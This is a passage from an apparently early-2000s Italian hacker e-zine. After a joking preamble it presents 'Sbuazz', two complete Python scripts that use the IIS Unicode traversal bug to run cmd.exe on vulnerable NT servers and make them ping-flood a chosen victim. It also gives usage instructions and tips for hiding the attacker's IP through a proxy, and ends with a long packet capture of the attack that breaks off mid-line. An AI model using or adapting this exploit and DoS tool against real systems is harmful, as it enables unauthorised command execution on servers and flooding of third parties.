precedente articolo riguardo l'SMTP); da ciò deduciamo che sarà il server che entrerà nello stato TIME_WAIT e che quindi il cambiamento degli stati durante il termine della connessione dettato prima è tutto capovolto. Vale a dire che gli stati del client diventano quelli del server e viceversa, questo perchè la chiusura attiva viene effettuata dal server. Non è quindi *SEMPRE* vero che a passarre nello stato TIME_WAIT sia solo ed esclusivamente il client. THE END Sospiro di sollievo: Fiuuuuu non contavo che Security System potesse arrivare al numero 2 (bhe ancora non è detto...almeno fino a quando non vedo pubblicato questo articolo) Classifica delle donne di cui sono innamorato aggiornata al 27 Novembre 2000: 1) Megan Gale 2) Emanuala Arcuri 3) Alessia Mancini 4) Maddalena Corvaglia 5) Cicciolina <----naaaaaaaaaaa :)))))) Ringraziamenti: a chi?? ma se non conosco nessuno!! :P Proteste: A Megan Gale...cazzo una posa migliore la potevi mettere nel tuo calendario nel mese del mio compleanno... cartellino giallo! La classifica comunque rimane immutata. ########iiiiiiiiiiii######## ####ieiieeeeeeeeeeiieeeeeeeeiiiiiiii## ##exxieeexxeeiiiiiiiiiiiiiiiiiiiiiiiiiiii## #ieexxxxxeiiiiiiii#######################iii### # ix+xxxeeiiiii############# ########### # +++xiiii######## ### #++++xeiii####### #e+xiiii#### # xiii###### ##e+eiiiiiii#### x xiii#### ##iiiiiiiiiiiiii## x iii#### #########iiiiiiii### #e +ii#### #######iiiiiiii# #i +iii### ###iiiiii## # ii### ### ## ###iiiii## i eii## #eei#ii# #iiiii## ixxi## # ## ###iex#xei #iiii## #e+ii## #ee## #######eeiieeeiiiieeiee# ##iii## #+ii## ##### ######xxxi#ieeiixx##ii##ii# #ii#iei ##iii# #xii## #ieeeexxe## #######eeeeeeiieeiiiiiiiee#iii##iei###ee#iii# ##iii# #eiii# #ixxi iixe##eeiieeiiexiiii##eei#iei eei#ii####iiiiii#### #iii# #iii# #exxiiexii#iiiiieexiiiiiiexiieeiiiiiiiieiii# ## iiii iii## #ixiii##ixe#eeiiiexiixiiixi##iiii##### iiii# iii# #eei #ieiiixiieiee####### iiii# ei## #exeeeeii########## ## # #iii# ii## ####### #ee####iiiiiiiiii## #iii# ii## ## ######eeeiixiiiiiii###ii# #ii## iii# #eeeeeeeeei# #iiii##eeiiiiie#iii#xii##iii #iei# #iii# iii# #ixii####iei#ieiiiiixiei# #iiiiii#iie###ieiiiii# xii## #iii# #eee #ieieeiieiiiiei# #ii#ieieiii ####### iii## #iii## #iee #ieiieii#iiiiiii# ii######## #+xii# ##iii# #ie###iiei###iiii####### ## #xiii# ##iii## #ieiiii### # i+ii## ##iii### ##### i+eii## #iiii## #e xii## ##iiii### Bastardi #e++eii## ##iiiiii## Dentro e iiii### #iiiiiii### ##e+xeii#### ##iiiiiiii##### ###ieexxxiiii### ##iiiiiiiiiii###### #####ieeeexeiiiii### ###iiiiiiiiiiiiiiiiiiiiiiiiiiiiiixeeeiiiiii##### ####iiiiiiiiiiiiiiieiieeeiiiiiiiii###### ############################ # ____________________________________________________________________________ / ][^XaBaRaS^][ /| +===========================================================================+ | | | | | [ Sbuazz Sbuazz 1.0 ] | | | ----------------- | / +===========================================================================+/ Autore: Il martire ][^XaBaRaS^][ Musica Ascoltata: Million Miles Away - Offspring ---sbuazza qui--- Cosa è Sbuazz? Allora signori miei sbuazz altri non sarebbe che uno script in Python che sfrutta una vulnerabilità di moltissime macchine NT con su montato IIS (che è un web server) che permette di far eseguire dei comandi direttamente sulla macchina remota. Sbuazz non è un trojan attenzione, rientra più che altro nella fascia dei DoS rudimentali. Per chi non sapesse cosa sia un DoS (denial of service) sono degli attacchi che sfruttano dei bachi presenti nei servizi o nei protocolli di rete in modo da far crashare una macchina, uno o più servizi, diminuire la sua possibilità di rispondere ai client leciti, metterla down etc...etc... Cosa mi occorre per utilizzarlo? Per utilizzare Sbuazz dovrete installare il python (potete scaricarlo su www.python.org). La versione 1.6 va benissimo, è stato testato anche sulla 1.5.X ed il tutto girava a meraviglia. Per far funzionare Sbuazz inoltre vi occorre una lista di ip vulnerabili da inserire nel file siti.txt (un ip per riga con l'ultimo ip seguito da una riga vuota). Come trovare gli host vulnerabili? Cazzi vostri.. sappiate solo che il bug in questione è stato battezzato IIS UNICODE BUG ed è stato approfondito da RFP dopo una segnalazione fatta in un forum. Aggiornatevi e studiatevi il bug quindi se vorrete far funzionare questo trabiccolo di script :) Ma su quali piattaforme gira Sbuazz? Essendo stato scritto tramite un linguaggio di scripting universale da piattaforma a piattaforma (un pò come il perl), funziona su tutte la macchine che hanno installato il Python. Se avete linux è molto probabile che lo abbiate inserito tra i pacchetti al momento dell'installazione, quindi per accertarvene basterebbe scrivere "python" da shell e vedere se vi appare un prompt di comandi. Su Windows invece state certi che dovrete fare il download dal sito dato sopra ed eseguire il file di installazione. Farà tutto lui. Naturalmente dovrete aggiornare il PATH della vostra macchina (magari aggiungendo una entry su autoexec.bat) in modo da far eseguire il prompt di python da qualsiasi punto nell'hard disk voi vi troviate. Ma tecnicamente cosa fa Sbuazz? Allora Sbuazz non fa altro che contattare uno ad uno gli ip presenti nel file siti.txt e mandargli una stringa che gli farà eseguire il comando ping su una vittima 1000 volte, con ogni pacchetto grande 64 byte. Questo sta a significare che se avete una lista di 100 host tutti vulnerabili e lanciate un attacco ad un pc connesso alla rete, questo al massimo riceverà 1000 x 64 x 100 = 6400000 byte, vale a dire 6.4 mega, mentre voi al massimo avrete inviato all'incirca poche decine di k di dati (il tutto varia dalla grandezza della lista di ip vulnerabili). E' una cosa molto rudimentale lo so ed è stata fatta apposta per farvi sbattere 2 secondi il grugno per capire dove risiede il bug di IIS e non per farvi flooddare le persone... cmq se avete delle Nt vulnerabili e non sapete fare dei bounce su irc, attaccare altre macchine, crakkare password da lì, beh... con Sbuazz avrete come utilizzarle. Chi sono maggiormente a rischio dell'attacco? Maggiormente a rischio sono le persone che si connettono ad IRC e fanno uso del loro IP di origine e non si coprono con delle sock. Per quanto riguarda attaccare le sock direttamente non so quali siano gli effetti. Questo script è stato provato solo ed esclusivamente su di me.. al momento non è stato testato su nessuno (e credo che non lo testerò mai su qualcuno). Ho notato comunque che su connessioni lente come quella che ho io a casa a volte si inceppa... ed i dati *SEMBRA* che non vengano mandati correttamente agli ip vulnerabili. Che rischio corre chi usa Sbuazz? Allora se la vittima ha un firewall oppure controlla i pacchetti in entrata con tcpdump, windump o altro tool che sia vedrà arrivare i pacchetti dagli IP degli host vulnerabili (per intenderci quelli presenti nel file siti.txt); il vostro IP a lui non apparirà mai e poi mai. Ok... ma i web server cmq loggano e siccome la stringa da inviare alla vittima viene data al server attraverso richiesta HTTP il vostro ip sarà loggato. In pratica fate conto che se avete una lista di 100 ip, quello vostro apparirà tra i log di 100 web server :) il che non è carino. Ecco che quindi oltre a sbuazz.py fornisco sbuazz-proxy.py da usare assieme ad un proxy server. Questa volta l'ip che apparirà tra i log dei server Nt non sarà il vostro ma quello del proxy specificato dalla linea di comando. Naturalmente questa volta il vostro ip sarà stato loggato dal proxy :) ...ma che ci vogliamo farà, la vita è tutto un logging. Usando sbuazz-proxy.py abbiamo un pizzico di copertura in più rispetto a sbuazz.py però saremo anche un pizzico più lenti nell'interrogare i server vulnerabili (insomma il tutto dipende dalla velocità del proxy che avrete utilizzato e dalla vostra linea telefonica naturalmente). Quanti ip può sostenere una sessione di sbuazz? Io vi consiglio di non andare oltre i 100 per sessione, poi se avete una connessione abbastanza veloce, beh...meglio per voi. Che consiglio do alle persone che vogliono usare Sbuazz? NON LO USATE. Non fate i lamer... avete un codice in python abbastanza comprensibile ed estremamente semplice (daltronde la documentazione di questo linguaggio di scripting è free anche se tutta in inglese, quindi potreste leggerla per capirci qualcosa); per quanto lamer possiate essere la vulnerabilità sfruttata da Sbuazz è davvero una cosa semplicissima che si può fare anche solo avendo un web browser (sbuazz aiuta solamente ad automatizzare la procedura)... e vi assicuro che non potrete farci solo dei ping con questo Bug. Bah io ho detto la mia. Di seguito trovate lo script sbuazz.py ... ---inizia qui--- # Author: ][^XaBaRaS^][ # E-mail: xabino@freemail.it # Server: irc.sbuazz.net # # [joke mode] # In this period I'm crossing a particular phase of my life named sbuazzing, # but ... what is the sbuazz? # if you do sex ... the end is the sbuazz; # if you kiss your girl while you are in an isolated place, the end (probably) # will be the sbuazz. # Sbuazz is all, is the essence, is the initial and final point of the world ... # then take careful if you want sbuazzing your victim ... this could be for him # a traumatic experience of course :) # # [serious mode] # Ok... technical side. Sbuazz is a lame python script belonged at DoS category. # It use a knows bug of IIS named "IIS unicode bug" for pings the victim through a # list of vulnerable hosts. This script don't check if hosts are vulnerable or # not, but sends its only the magic string of ping (1000 packets of 64 bytes for # packet for each host); therefore the entity of attack depend by the list of hosts. # The file that contains all hosts is for default siti.txt. Change it in the python # script because you can't do from line command. Remember that the end of this file # must be marked with an empty row after last IP inserted. # # Syntax: # python sbuazz.py ip-of-victim # # where: # ip-of-victim is: bohhhhhhh ;P # # Take attention that if use this script in your machine your ip will not be # spoofed... nothing ISN predicted o proxy here. I am not responsable for bad # things that you can do with this script. # # Tested successfully on Linux and Windows 98 with Python 1.5.x & 1.6 import sys import httplib richiesta = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+ping%20-n%201000%20-l%2064%20" f=open('siti.txt', 'r') letturafinita = 1 print "Sbuazzing " + sys.argv[1] + " in progress ...\n" while letturafinita: leggilinea = f.readline() if leggilinea == '': letturafinita = 2 print "\nAHhHhH Ho SboRato!! " break else: url = leggilinea[:-1] stringamagica = richiesta + sys.argv[1] print url + " advertised!" connetti = httplib.HTTP(url) connetti.putrequest('GET', stringamagica) connetti.putheader('Accept', 'text/html') connetti.putheader('Accept', 'text/plain') connetti.endheaders() continue ---finisce qui--- e qui invece trovate sbuazz-proxy.py ... ---inizia qui--- # Author: ][^XaBaRaS^][ # E-mail: xabino@freemail.it # Server: irc.sbuazz.net # # [joke mode] # In this period I'm crossing a particular phase of my life named sbuazzing, # but ... what is the sbuazz? # if you do sex ... the end is the sbuazz; # if you kiss your girl while you are in an isolated place, the end (probably) # will be the sbuazz. # Sbuazz is all, is the essence, is the initial and final point of the world ... # then take careful if you want sbuazzing your victim ... this could be for him # a traumatic experience of course :) # # [serious mode] # Ok... technical side. Sbuazz is a lame python script belonged at DoS category. # It use a knows bug of IIS named "IIS unicode bug" for pings the victim through a # list of vulnerable hosts. This script don't check if hosts are vulnerable or # not, but sends its only the magic string of ping (1000 packets of 64 bytes for # packet for each host); therefore the entity of attack depend by the list of hosts. # The file that contains all hosts is for default siti.txt. Change it in the python # script because you can't do from line command. Remember that the end of this file # must be marked with an empty row after last IP inserted. # # Syntax: # python sbuazz-proxy.py ip-of-victim ip-of-proxy proxy-port # # where: # ip-of-victim is: bohhhhhhh ;P # ip-of-proxy is: bahhhhhhhh :) # proxy-port is: fiuuuuuuuuu xD # # I'm not responsable for bad things that you can do with this script. If you # don't know what is a proxy use sbuazz.py and sbora macari tu cu nuatriiiiiii # # Tested successfully on Linux and Windows 98 with Python 1.5.x & 1.6 import sys import httplib import string inizio = "http://" richiesta = "/scripts/..%c0%af../winnt/system32/cmd.exe?/c+ping%20-n%201000%20-l%2064%20" porta = string.atoi(sys.argv[3]) f=open('siti.txt', 'r') letturafinita = 1 print "Sbuazzing " + sys.argv[1] + " in progress ...\n" while letturafinita: leggilinea = f.readline() if leggilinea == '': letturafinita = 2 print "\nAHhHhH Ho SboRato!! " break else: url = leggilinea[:-1] stringamagica = inizio + url + richiesta + sys.argv[1] print url + " advertised!" connetti = httplib.HTTP(sys.argv[2], porta) connetti.putrequest('GET', stringamagica) connetti.putheader('Accept', 'text/html') connetti.putheader('Accept', 'text/plain') connetti.endheaders() continue ---finisce qui--- Come eseguirlo lo capirete da soli, sono certo, leggendo le parti in inglese. Passiamo ad un qualcosa di più sfizioso... vediamo una sessione di attacco effettuata su di me. L'output è del windump ed essendo similissimo a quello del tcpdump son certo che capirete cosa significhi (vabbò va, una piccola spiegazione la dò alla fine): 15:08:21.547648 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:21.557361 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:21.789281 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:21.802359 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:22.540695 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:22.552359 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:22.794466 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:22.807354 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:23.567295 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:23.577344 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:23.809685 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:23.822344 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:23.961919 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:23.972181 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:24.157732 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:24.167344 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:24.556989 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:24.567337 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:24.816278 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:24.827336 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:24.957636 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:24.967333 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:25.155691 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:25.167351 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:25.558745 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:25.572333 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:25.819877 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:25.832334 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:25.953779 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:25.967331 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:26.598486 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:26.612320 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:26.619435 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:26.632319 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:26.825314 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:26.837321 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:26.956665 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:26.967318 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:27.563232 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:27.577313 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:27.579588 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:27.592315 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:27.825689 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:27.837314 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:27.961307 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:27.972322 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:28.583322 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:28.591467 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:28.597304 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:28.602306 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:28.826532 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:28.837303 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:28.961109 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:28.972300 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:29.589368 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:29.597603 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:29.602297 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:29.607326 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:29.824166 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:29.837298 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:29.970906 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:29.982291 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:30.597709 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:30.607285 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:30.622063 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:30.632285 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:30.824428 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:30.833853 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:30.972035 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:30.982285 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:31.578047 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:31.587279 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:31.643362 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:31.657293 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:31.824463 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:31.837279 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:31.978483 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:31.992276 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:32.584662 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:32.597270 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:32.650385 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:32.662292 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:32.826464 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:32.837268 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:33.106289 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:33.117270 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:33.596388 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:33.607265 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:33.634639 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:33.647260 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:33.825300 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:33.837258 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:34.096627 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:34.107262 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:34.587969 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:34.597259 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:34.664454 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:34.677256 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:34.824742 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:34.837252 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:35.098326 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:35.112253 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:35.585191 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:35.597245 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:35.679026 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:35.692247 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:35.823879 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:35.837258 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:36.100151 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:36.112262 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:36.653794 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:36.665696 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:36.665794 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:36.677234 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:36.825975 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:36.837264 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:37.113608 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:37.127235 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:37.634964 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:37.647230 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:37.667499 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:37.677228 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:37.825669 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:37.837230 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:38.603695 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:38.617220 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:38.630842 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:38.642229 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:38.666062 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:38.677218 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:38.825359 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:38.837221 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:39.604809 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:39.617219 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:39.636335 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:39.647209 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:39.827416 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:39.837208 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:40.168611 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:40.182218 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:40.618372 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:40.626722 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:40.632244 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:40.637208 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:40.824488 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:40.837205 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:41.165286 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:41.177203 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:41.580511 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:41.592196 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:41.609871 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:41.622195 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:41.826192 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:41.837195 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:42.159810 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:42.172193 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:42.914102 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:42.922366 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:42.927189 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:42.930855 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:42.931488 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:42.942187 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:43.237951 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:43.247185 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:43.918449 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:43.926702 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:43.932204 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:43.935105 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:43.935381 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:43.947173 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:44.167611 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:44.177177 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:44.550971 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:44.562174 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:44.615921 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:44.627168 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:44.829218 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:44.842171 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:45.210779 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:45.222165 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:45.621185 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:45.629339 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:45.632162 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:45.642164 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:45.828131 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:45.842160 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:46.189563 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:46.202160 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:46.615022 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:46.627152 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:46.645551 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:46.657162 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:46.828084 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:46.842152 ipvittima.it > ipattaccante2.it: icmp: echo reply [tos 0xa0] 15:08:47.168633 ipattaccante1.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:47.182151 ipvittima.it > ipattaccante1.it: icmp: echo reply [tos 0xa0] 15:08:47.616519 ipattaccante3.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:47.627150 ipvittima.it > ipattaccante3.it: icmp: echo reply [tos 0xa0] 15:08:47.656580 ipattaccante4.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:47.667144 ipvittima.it > ipattaccante4.it: icmp: echo reply [tos 0xa0] 15:08:47.825628 ipattaccante2.it > ipvittima.it: icmp: echo request [tos 0xa0] 15:08:47.837143 ipvittima.it > ipattaccante2.it: 